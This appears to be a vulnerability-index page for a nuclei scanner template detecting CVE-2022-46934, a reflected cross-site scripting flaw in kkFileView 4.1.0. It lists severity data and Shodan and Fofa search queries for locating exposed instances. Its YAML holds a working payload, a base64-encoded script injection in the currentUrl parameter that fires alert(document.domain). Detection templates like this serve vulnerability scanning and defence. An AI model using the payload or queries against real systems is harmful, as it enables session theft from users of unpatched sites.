SecurityContext

CVE-2022-46934: kkFileView 4.1.0 - Cross-Site Scripting

  • Template: CVE-2022-46934
  • Name: kkFileView 4.1.0 - Cross-Site Scripting
  • Description: kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  • Impact: Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  • Remediation: Upgrade to a patched version of kkFileView or apply the necessary security patches provided by the vendor.
  • Severity: medium
  • Authors: r3Y3r53
  • Tags: cve, cve2022, xss, kkfileview, keking, vuln
  • References: https://github.com/kekingcn/kkFileView/issues/411, https://nvd.nist.gov/vuln/detail/CVE-2022-46934
  • Cves: CVE-2022-46934
  • Verified: yes
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2022/CVE-2022-46934.yaml
  • Digest: 4b0a00483046022100dad7a830365fd5e17f67b9861de1c477bc8767ae5794282983b541caf1216c67022100947abbe2213a0386be926187ae1cd735b1bed8d91e026bbb291f1488b8407093
  • Created at: 2023-03-31T12:06:26Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 1334
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-46934.yaml

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01095
  • Epss percentile: 0.66371
  • Cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="kkfileview", app="kkfileview"
  • Max-request: 1
  • Product: kkfileview
  • Shodan-query: http.html:"kkFileView", http.html:"kkfileview"
  • Vendor: keking
  • Verified: yes

Products

ProductIndexedUrl
keking:kkfileviewyes/v1/products/keking/kkfileview

Labels

  • Name: kkFileView - Reflected XSS
  • Impact: Attackers can execute scripts in victim's browser, potentially stealing cookies and hijacking user sessions.
  • Remediation: Sanitize and validate the url parameter, and update to the latest version if available.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim must visit malicious URL
  • Labels source: projectdiscovery
  • From cve: CVE-2022-46934

```yaml

id: CVE-2022-46934

info:

name: kkFileView 4.1.0 - Cross-Site Scripting

author: r3Y3r53

severity: medium

description: |

kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Upgrade to a patched version of kkFileView or apply the necessary security patches provided by the vendor.

reference:

- https://github.com/kekingcn/kkFileView/issues/411

- https://nvd.nist.gov/vuln/detail/CVE-2022-46934

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2022-46934

cwe-id: CWE-79

epss-score: 0.01095

epss-percentile: 0.66371

cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: keking

product: kkfileview

shodan-query:

- http.html:"kkFileView"

- http.html:"kkfileview"

fofa-query:

- body="kkfileview"

- app="kkfileview"

tags: cve,cve2022,xss,kkfileview,keking,vuln

http:

- method: GET

path:

- "{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"

matchers-condition: and

matchers:

- type: word

words:

- document.getElementById("http://");alert(document.domain);//").click();

- viewer.min.css

condition: and

- type: status

status:

- 200

digest: 4b0a00483046022100dad7a830365fd5e17f67b9861de1c477bc8767ae5794282983b541caf1216c67022100947abbe2213a0386be926187ae1cd735b1bed8d91e026bbb291f1488b8407093:922c64590222798bb761d5b6d8e72950

```